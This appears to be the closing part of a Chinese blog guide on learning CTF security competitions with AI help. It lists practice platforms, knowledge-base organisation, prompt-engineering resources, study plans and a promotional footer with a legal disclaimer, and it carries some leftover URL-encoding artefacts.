学习资源:
-%20OpenAI%20Prompt%20Engineering%20Guide
-%20Anthropic%20Prompting%20Documentation
-%20Learn%20Prompting网站

多AI协作策略:

场景1:交叉验证
-%20Claude分析代码%20→%20千问复核%20→%20Gemini第三方意见
-%20三个AI结论一致%20→%20高可信度
-%20三个AI意见不同%20→%20人工判断或继续追问

场景2:功能分工
-%20Claude:逆向分析、代码理解(最强)
-%20ChatGPT:创意思路、多角度分析
-%20千问:中文资料、本土化问题
-%20Gemini:快速生成、大量数据处理

场景3:接力解题
-%20AI1提供初步分析
-%20把AI1的结果给AI2深化
-%20把AI2的结果给AI3验证
-%20最终人工综合判断

AI辅助学习体系:

日常学习:
-%20遇到不懂的概念立刻问AI
-%20让AI设计学习路径
-%20用AI生成练习题,靶场(比单纯解题更能深刻理解漏洞原理)

刷题复盘:
-%20做完题让AI总结知识点
-%20AI帮你关联相似题目
-%20AI生成这类题的解题模板
-%20AI预测可能的衍生变化

知识内化:
-%20用AI把碎片知识整理成体系
-%20AI生成思维导图
-%20AI制作记忆卡片(Anki)
-%20AI设计阶段性测试
构建个人知识库(终极目标)

知识库架构(升级版):

📁%20CTF-Master-Knowledge-Base/
│
├──%20📁%2000-Dashboard/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20仪表盘
│%20&nbsp;%20├──%20📄%20学习进度追踪.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20进度可视化
│%20&nbsp;%20├──%20📄%20技能树评估.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20各方向能力评分
│%20&nbsp;%20├──%20📄%20刷题统计.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20题目数量/难度分布
│%20&nbsp;%20└──%20📄%20月度总结.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20每月复盘
│
├──%20📁%2001-Competitions/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20比赛记录(原有)
│%20&nbsp;%20└──%20...
│
├──%20📁%2002-Practice/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20练习题(原有)
│%20&nbsp;%20└──%20...
│
├──%20📁%2003-Knowledge/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20知识笔记(扩展)
│%20&nbsp;%20├──%20📁%20原理讲解/
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20栈溢出原理.md
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20RSA数学基础.md
│%20&nbsp;%20│%20&nbsp;%20└──%20...
│%20&nbsp;%20├──%20📁%20解题套路/
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20SQL注入套路总结.md
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20常见编码识别流程.md
│%20&nbsp;%20│%20&nbsp;%20└──%20...
│%20&nbsp;%20├──%20📁%20工具使用/
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20IDA%20Pro使用技巧.md
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20Burp%20Suite完全指南.md
│%20&nbsp;%20│%20&nbsp;%20└──%20...
│%20&nbsp;%20└──%20📁%20漏洞复现/
│%20&nbsp;%20&nbsp;%20&nbsp;%20├──%20📄%20CVE-2024-XXXX复现.md
│%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20...
│
├──%20📁%2004-Tools/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20工具和脚本(扩展)
│%20&nbsp;%20├──%20📁%20auto-scripts/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20自动化脚本
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20题目下载器.py
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20编码批量转换.py
│%20&nbsp;%20│%20&nbsp;%20└──%20...
│%20&nbsp;%20├──%20📁%20templates/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20代码模板
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20pwntools_template.py
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20crypto_solver_template.py
│%20&nbsp;%20│%20&nbsp;%20└──%20...
│%20&nbsp;%20└──%20📁%20oneliners/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20常用单行命令
│%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20📄%20常用命令速查.md
│
├──%20📁%2005-Resources/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20学习资源(原有)
│%20&nbsp;%20└──%20...
│
├──%20📁%2006-Templates/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20模板文件(原有)
│%20&nbsp;%20└──%20...
│
├──%20📁%2007-AI-Prompts/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20AI提示词库(新增)
│%20&nbsp;%20├──%20📄%20Crypto提示词.md
│%20&nbsp;%20├──%20📄%20Web提示词.md
│%20&nbsp;%20├──%20📄%20Reverse提示词.md
│%20&nbsp;%20└──%20📄%20通用提示词.md
│
├──%20📁%2008-Mind-Maps/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20思维导图(新增)
│%20&nbsp;%20├──%20🎨%20CTF知识体系.xmind
│%20&nbsp;%20├──%20🎨%20Web安全脑图.png
│ &nbsp; └── ...
│
└── 📁 09-Archived/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 归档(新增)
&nbsp; &nbsp; └── 过时或不再使用的笔记

知识库维护节奏:

每日(5-10分钟):
- 记录今天刷的题(快速笔记)
- 保存AI对话(如果有用)
- 更新进度追踪

每周(1-2小时):
- 整理本周笔记,补充细节
- 把快速笔记扩展为完整WP
- 提炼知识点,更新专题笔记
- 运行索引生成脚本

每月(2-3小时):
- 月度总结:回顾学到了什么
- 技能评估:哪些方向进步了
- 查漏补缺:哪些知识点还薄弱
- 知识重构:整理重复/过时内容

每季度(半天):
- 大扫除:清理不用的笔记
- 重新规划:下季度学习目标
- 工具升级:更新脚本和模板
- 备份导出:防止数据丢失

知识库高级玩法:

Dataview自动化(Obsidian插件):
自动生成各种统计表格:
- "我做过的所有Crypto题"
- "难度≥3星且未解决的题目"
- "最近30天的刷题记录"
- "标签为#栈溢出的所有笔记"

Excalidraw画图:
- 画ROP链示意图
- 画内存布局
- 画漏洞利用流程
- 画知识关联图谱

Git版本控制:
- 整个知识库用Git管理
- 每周commit一次
- 可以看到自己的成长轨迹
- 多设备同步(GitHub私有仓库)

本地AI检索(RAG):
- 用LangChain处理Markdown
- 向量化所有笔记
- 本地Ollama推理
- "我记得做过类似题..."立刻搜到

推荐资源

CTF学习平台(从易到难)

新手友好:

1. BUUCTF(buuoj.cn)
&nbsp; &nbsp;- 中文平台,题目丰富
&nbsp; &nbsp;- 按方向分类,难度标注清晰
&nbsp; &nbsp;- 有WP区,卡住可以看
&nbsp; &nbsp;推荐:Web、Crypto方向入门

2. 攻防世界(adworld.xctf.org.cn)
&nbsp; &nbsp;- 新手区题目质量高
&nbsp; &nbsp;- 闯关模式,循序渐进
&nbsp; &nbsp;- 官方题解详细
&nbsp; &nbsp;推荐:全方向基础训练

3. PicoCTF(picoctf.org)
&nbsp; &nbsp;- 面向学生的CTF
&nbsp; &nbsp;- 题目设计友好,有教育性
&nbsp; &nbsp;- 英文平台,锻炼阅读
&nbsp; &nbsp;推荐:综合能力培养

4. 好靶场(loveli.com.cn)
&nbsp; &nbsp;- 国内优质靶场平台
&nbsp; &nbsp;- 提供真实渗透环境
&nbsp; &nbsp;- 在线虚拟机,无需本地搭建
&nbsp; &nbsp;- 适合Web安全实战训练
&nbsp; &nbsp;推荐:Web渗透练习

进阶练习:

5. CTFHub(ctfhub.com)
&nbsp; &nbsp;- 技能树体系
&nbsp; &nbsp;- Web方向题目多
&nbsp; &nbsp;- 有靶场环境
&nbsp; &nbsp;推荐:Web深入学习

6. CTFshow(ctf.show)
&nbsp; &nbsp;- 周赛活跃
&nbsp; &nbsp;- 题目新颖
&nbsp; &nbsp;- 社区氛围好
&nbsp; &nbsp;推荐:保持手感

7. HackTheBox(hackthebox.com)
&nbsp; &nbsp;- 真实渗透环境
&nbsp; &nbsp;- 难度较高
&nbsp; &nbsp;- 国际化平台
&nbsp; &nbsp;推荐:Pwn、Reverse进阶

8. VulnHub(vulnhub.com)
&nbsp; &nbsp;- 虚拟机镜像下载
&nbsp; &nbsp;- 本地搭建靶机
&nbsp; &nbsp;- 真实系统环境
&nbsp; &nbsp;- 完整渗透流程
&nbsp; &nbsp;推荐:综合渗透练习

9. TryHackMe(tryhackme.com)
&nbsp; &nbsp;- 引导式学习路径
&nbsp; &nbsp;- 在线虚拟机环境
&nbsp; &nbsp;- 从基础到进阶
&nbsp; &nbsp;- 证书系统完善
&nbsp; &nbsp;推荐:系统化学习

10. Root-Me(root-me.org)
&nbsp; &nbsp; - 欧洲知名平台
&nbsp; &nbsp; - 题目分类细致
&nbsp; &nbsp; - 难度梯度合理
&nbsp; &nbsp; - 支持多语言
&nbsp; &nbsp; 推荐:全方向练习

专项训练:

Web安全:
- WebGoat(OWASP项目)
&nbsp; - Web漏洞教学平台
&nbsp; - 互动式课程
&nbsp; - 本地部署

- DVWA(Damn Vulnerable Web Application)
&nbsp; - 经典Web漏洞靶场
&nbsp; - 多种难度级别
&nbsp; - 开源免费

- bWAPP(Buggy Web Application)
&nbsp; - 100+个漏洞场景
&nbsp; - 覆盖OWASP Top 10
&nbsp; - 详细文档

- Pikachu漏洞练习平台
&nbsp; - 国产漏洞靶场
&nbsp; - 中文环境友好
&nbsp; - 涵盖常见漏洞类型

Pwn/Reverse:
- pwnable.kr
&nbsp; - Pwn方向专精
&nbsp; - 韩国顶级平台
&nbsp; - 难度递进

- pwnable.tw
&nbsp; - 台湾Pwn平台
&nbsp; - 高质量题目
&nbsp; - 社区活跃

- Reversing.kr
&nbsp; - 逆向专项训练
&nbsp; - 各种保护机制
&nbsp; - 循序渐进

- Crackmes.one
&nbsp; - 逆向练习题库
&nbsp; - 用户上传题目
&nbsp; - 难度多样

内存取证:
- MemLabs(GitHub)
&nbsp; - 内存取证练习
&nbsp; - Volatility实战
&nbsp; - 免费下载

密码学:
- CryptoHack(cryptohack.org)
&nbsp; - 密码学专项平台
&nbsp; - 互动式课程
&nbsp; - 从零到精通
&nbsp; - 强烈推荐!

高手竞技:

11. XCTF(xctf.org.cn)
&nbsp; &nbsp; - 国内顶级赛事平台
&nbsp; &nbsp; - 往届比赛题库
&nbsp; &nbsp; - 选拔赛资格
&nbsp; &nbsp; 推荐:冲击国赛

12. CTFtime(ctftime.org)
&nbsp; &nbsp; - 全球CTF日历
&nbsp; &nbsp; - 战队排名
&nbsp; &nbsp; - 比赛信息聚合
&nbsp; &nbsp; 推荐:关注国际赛事

13. 0xGame(https://www.0xgame.com/)
&nbsp; &nbsp; - 清华大学主办
&nbsp; &nbsp; - 新生赛友好
&nbsp; &nbsp; - 题目质量高
&nbsp; &nbsp; 推荐:学生向比赛

14. i春秋(ichunqiu.com)
&nbsp; &nbsp; - 在线课程+靶场
&nbsp; &nbsp; - 企业级培训
&nbsp; &nbsp; - 认证体系
&nbsp; &nbsp; 推荐:职业化路线

靶场搭建(本地练习):

Docker一键部署:
- Vulhub
&nbsp; - 各种漏洞环境
&nbsp; - Docker快速搭建
&nbsp; - GitHub开源

- VulnStack
&nbsp; - 内网渗透靶场
&nbsp; - 红日安全团队
&nbsp; - 真实企业环境

- Vulfocus
&nbsp; - 漏洞集成平台
&nbsp; - Web界面管理
&nbsp; - 一键启动

虚拟机镜像:
- Metasploitable 2/3
&nbsp; - 故意留漏洞的Linux
&nbsp; - Metasploit练习
&nbsp; - 经典靶机

- OWASP BWA(Broken Web Apps)
&nbsp; - 多个Web靶场集合
&nbsp; - 一个虚拟机搞定
&nbsp; - 全面覆盖

平台选择建议:

按学习阶段选择:

【第1个月】(新手期)
主攻:BUUCTF + 攻防世界
辅助:好靶场(Web方向)
目标:完成新手区所有题目

【第2-3个月】(成长期)
主攻:CTFHub + CTFshow
辅助:CryptoHack(Crypto方向)
&nbsp; &nbsp; &nbsp; pwnable.kr(Pwn方向)
目标:能做简单-中等难度题

【第4-6个月】(进阶期)
主攻:HackTheBox + TryHackMe
辅助:VulnHub本地靶场
参加:周赛、月赛保持手感
目标:能独立完成中等题

【6个月+】(高手期)
关注:CTFtime国际赛事
练习:专项靶场+历届真题
参加:XCTF、强网杯等国赛
目标:冲击奖项、组建战队

按方向选择:

Web安全:
好靶场 → DVWA → CTFHub → HackTheBox

Pwn/Reverse:
BUUCTF → pwnable.kr → pwnable.tw → CTFtime赛事

Crypto:
BUUCTF → CryptoHack → 攻防世界 → 专项比赛

Misc:
BUUCTF → 攻防世界 → CTFshow → 综合比赛

综合训练:
TryHackMe(最系统)
Root-Me(最全面)
HackTheBox(最真实)

平台使用技巧:

💡 高效刷题策略:

1. 不要贪多
&nbsp; &nbsp;- 专注1-2个主力平台
&nbsp; &nbsp;- 其他平台作为补充
&nbsp; &nbsp;- 题目质量>数量

2. 按难度递进
&nbsp; &nbsp;- 先把简单题全做完
&nbsp; &nbsp;- 再挑战中等题
&nbsp; &nbsp;- 别一开始就碰难题

3. 分类专项突破
&nbsp; &nbsp;- 一周专攻一个方向
&nbsp; &nbsp;- 同类题目集中做
&nbsp; &nbsp;- 形成肌肉记忆

4. 做题笔记必记
&nbsp; &nbsp;- 用Obsidian记录
&nbsp; &nbsp;- 包含题目+WP+知识点
&nbsp; &nbsp;- 定期回顾复习

5. 靶场环境利用
&nbsp; &nbsp;- 有在线环境优先用
&nbsp; &nbsp;- 本地搭建作备选
&nbsp; &nbsp;- 练完记得关闭容器

6. 参加定期比赛
&nbsp; &nbsp;- 周赛保持手感
&nbsp; &nbsp;- 月赛检验水平
&nbsp; &nbsp;- 年度大赛冲奖

免费 vs 付费:

完全免费:
✅ BUUCTF(题目全免费)
✅ 攻防世界(核心功能免费)
✅ CryptoHack(完全开源)
✅ VulnHub(镜像免费下载)
✅ Vulhub(开源Docker)
✅ pwnable系列(免费)

部分免费:
⚠️ HackTheBox(免费版功能有限,VIP $10/月)
⚠️ TryHackMe(免费版够用,Premium $10.99/月)
⚠️ CTFHub(基础免费,会员额外题目)
⚠️ i春秋(部分课程收费)

完全付费:
💰 某些企业级培训平台
💰 认证考试(OSCP/OSWE等)

新手建议:
- 前3个月只用免费平台
- 免费平台题目够刷1年+
- 确定方向后再考虑付费
- 学生可申请教育优惠

平台访问问题:

国内平台:
✅ 直接访问,无需翻墙
- BUUCTF、攻防世界、CTFHub
- CTFshow、i春秋、好靶场

国外平台:
⚠️ 可能需要翻墙或较慢
- HackTheBox(需要VPN)
- TryHackMe(速度一般)
- CryptoHack(GitHub Pages,可能慢)

解决方案:
1. 优先使用国内平台
2. 国外平台配合镜像加速
3. VulnHub镜像可在国内云盘找
4. 或使用国内VPS中转

AI提示词工程教程

入门级:

📘 Learn Prompting(中文)
网址:https://www.learnprompting.org/zh-Hans/docs/intro
特点:系统化教程,从零开始
推荐章节:基础、中级技巧、应用

📘 OpenAI Prompt Engineering Guide
网址:https://platform.openai.com/docs/guides/prompt-engineering
特点:官方权威,案例丰富
语言:英文(AI辅助翻译)

📘 Anthropic Prompting Guide(Claude专用)
网址:https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/overview
特点:Claude最佳实践
推荐:必读,Claude提问必备

进阶级:

📘 Prompt Engineering Guide(GitHub)
网址:https://github.com/dair-ai/Prompt-Engineering-Guide
特点:技术深度,论文级
推荐:理解原理

📘 Mr. Ranedeer AI Tutor(示例)
网址:搜索"Mr Ranedeer prompt"
特点:超长提示词案例
学习:如何设计复杂提示词

📺 YouTube频道推荐:
- "AI Explained"(提示词技巧)
- "Matt Wolfe"(AI工具评测)
- "All About AI"(案例教学)

实战技巧:

💡 向AI学习提示词:

"我想学习如何更好地向你提问,请:
1. 分析我刚才的提问有什么问题
2. 给我一个改进版的提问
3. 解释为什么改进版更好
4. 给我5个类似场景的提问模板

针对CTF场景,重点教我如何:
- 描述问题更清晰
- 提供关键信息
- 引导你一步步思考
- 多轮追问深入"

AI会成为你的提示词老师!

技术社区与博客

中文社区:

🌐 看雪论坛(pediy.com)
- 高质量技术帖
- 大佬云集

🌐 吾爱破解(52pojie.cn)
- 逆向技术讨论
- 工具分享
- 新手友好

🌐 先知社区(xz.aliyun.com)
- Web安全为主
- 漏洞分析
- 厂商博客

🌐 FreeBuf(freebuf.com)
- 安全资讯
- 技术文章
- 行业动态

🌐 安全客(anquanke.com)
- 综合性安全媒体
- 活动信息
- 技术专栏

英文社区(必关注):

🌐 GitHub(github.com)
- CTF工具源码
- WP仓库
- 开源项目

🌐 Reddit(reddit.com)
- r/netsec(网络安全)
- r/ReverseEngineering(逆向)
- r/AskNetsec(问答)
- r/ClaudeAI(Claude讨论)

🌐 Stack Overflow(stackoverflow.com)
- 技术问答
- 代码调试
- 工具使用

🌐 HackerOne / Bugcrowd
- 漏洞赏金平台
- 真实漏洞案例
- 学习实战思路

个人博客推荐:

📝 国内博主:
- "离别歌"(Web安全) https://www.leavesongs.com/
- "Nu1L Team"(战队博客) https://www.nu1l.com/
- 狼组安全团队公开知识库 https://wiki.wgpsec.org/

📝 国外博主:
- LiveOverflow(YouTube+博客)
- John Hammond(CTF教学)
- IppSec(HackTheBox WP)

💡 如何发现好博客:
1. 遇到好WP,关注作者
2. CTFtime队伍主页有链接
3. 问AI:"推荐CTF技术博客"
4. Twitter关注#CTF标签

推荐书籍(系统学习)

我自己是搜网络教程,在线文档学习的,很少买大部头的数,各位自己按需问AI推荐,找电子版,不要买纸质版,注意形成自己的笔记。


结语:AI是工具,思维是核心

AI时代的CTF:机遇与挑战并存

✨ AI带来的机遇:

1. 降低入门门槛
&nbsp; &nbsp;- 以前:看一周教程才能入门
&nbsp; &nbsp;- 现在:AI带你24小时速成

2. 加速学习过程
&nbsp; &nbsp;- 以前:卡一道题可能卡几天
&nbsp; &nbsp;- 现在:AI几分钟给思路

3. 拓展能力边界
&nbsp; &nbsp;- 以前:只能专精1-2个方向
&nbsp; &nbsp;- 现在:AI辅助下能涉猎更多

4. 提升竞争力
&nbsp; &nbsp;- 会用AI的人 > 不会用AI的人
&nbsp; &nbsp;- 善用AI的人 > 滥用AI的人
⚠️ AI带来的挑战:

1. 能力虚高的陷阱
&nbsp; &nbsp;- AI帮你做题 ≠ 你会做题
&nbsp; &nbsp;- 比赛可能没网/没AI
&nbsp; &nbsp;- 面试要现场手写代码

2. 思维依赖的风险
&nbsp; &nbsp;- 失去独立思考能力
&nbsp; &nbsp;- 遇到新问题束手无策
&nbsp; &nbsp;- 创造力被AI限制

3. 竞争加剧
&nbsp; &nbsp;- 所有人都在用AI
&nbsp; &nbsp;- 门槛降低 = 竞争更激烈
&nbsp; &nbsp;- 需要比别人用得更好

4. 规则争议
&nbsp; &nbsp;- 哪些比赛可以用AI?
&nbsp; &nbsp;- 用到什么程度算公平?
&nbsp; &nbsp;- 如何证明自己的能力?

人类vs AI:不可替代的核心竞争力

🤖 AI擅长的:

- 知识检索(记住海量知识点)
- 代码生成(写脚本快速准确)
- 模式识别(识别已知算法)
- 重复性工作(批量处理)
- 多方案生成(提供N种思路)

🧠 人类擅长的:

- 直觉判断(这题"感觉"不对劲)
- 创造性思维(全新的攻击角度)
- 上下文理解(理解出题人意图)
- 战略规划(比赛时间分配)
- 价值判断(哪个方向值得深入)
- 经验迁移(这题和XX年那道相似)
- 灵活变通(AI卡住了换思路)

💡 未来的赢家:

不是"人类",也不是"AI"
而是"善用AI的人类"

公式:
普通人 + AI = 进步较快的人
聪明人 + AI = 超强的人
懒惰的人 + AI = 依然懒惰

正确的成长路径

阶段1:借助AI入门(现在)
目标:快速了解CTF是什么
方法:跟着AI做题,理解思路
时长:1个月,完成20-30道题
标志:能参加比赛,不再完全懵逼

阶段2:减少AI依赖(1-3个月)
目标:培养独立解题能力
方法:先自己想,实在卡了再问AI
时长:3个月,完成50-100道题
标志:简单题能独立完成

阶段3:与AI协作(3-6个月)
目标:形成自己的方法论
方法:你主导,AI辅助验证
时长:持续练习,参加5-10场比赛
标志:有自己的解题风格

阶段4:超越AI(6个月+)
目标:AI是你的助手,不是老师
方法:用AI处理琐事,你做决策
时长:长期积累
标志:能解出AI都做不出的题

最终目标:
不是"不用AI",而是"善用AI"
AI是你的外挂,但大脑是你的

行动清单:从今天开始

立刻可以做的(今天)

✅ 第1小时:注册AI账号
- Claude / ChatGPT / 千问 至少2个
- 测试能否正常对话
- 保存账号密码

✅ 第2小时:注册CTF平台
- BUUCTF账号
- 攻防世界账号
- 浏览题库,感受难度

✅ 第3小时:做第一道题
- 找个Crypto签到题
- 问AI怎么做
- 理解AI的思路
- 成功拿到flag → 成就感!

✅ 第4小时:建立笔记系统
- 安装Obsidian
- 创建第一个笔记:今天学到了什么
- 保存AI对话记录

✅ 第5-24小时:持续练习
- 每完成一道题就记录
- 遇到问题就问AI
- 感到疲惫就休息(重要!)尤其要保护眼睛和颈椎,少吃高嘌呤食物。

第一周计划

周一-周二:Crypto方向
- 完成5道编码转换题
- 完成3道古典密码题
- 建立Crypto笔记

周三-周四:Web方向
- 完成3道SQL注入题
- 完成2道XSS题
- 学习Burp Suite基础

周五-周六:Misc方向
- 完成3道图片隐写题
- 完成2道压缩包题
- 学习binwalk/strings

周日:复盘总结
- 整理本周所有笔记
- 更新知识库索引
- 规划下周学习内容

第一个月目标

量化目标:
✅ 完成30道题(签到+简单)
✅ 参加1场在线比赛
✅ 建立10条笔记
✅ 熟练使用3个AI平台
✅ 掌握5个常用工具

能力目标:
✅ 能独立解决Crypto签到题
✅ 在AI辅助下解决Web基础题
✅ 理解CTF的基本套路
✅ 不再对比赛感到恐惧
✅ 知道自己的优势方向

心态目标:
✅ 接受"做不出题很正常"
✅ 享受解题过程
✅ 形成自己的学习节奏
✅ 找到志同道合的队友

长期规划(供参考)

3个月:
- 完成100道题
- 参加5场比赛
- 至少1个方向达到中级水平

6个月:
- 完成200道题
- 稳定进入比赛中游
- 建立完整知识体系

1年:
- 完成500道题
- 有机会冲击区域赛奖项
- 可以指导新人入门

记住:
这只是参考,不是必须完成的KPI
每个人节奏不同,找到适合自己的

全文完

🎓 恭喜你读完了整个指南! 📖 现在把它保存下来,随时查阅 💪 然后,开始行动 🚀 24小时后,你就不再是CTF小白了


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:好靶场 泷羽Sec静安《【速通指南】AICTFer一天速成指南》

评论:0   参与:  0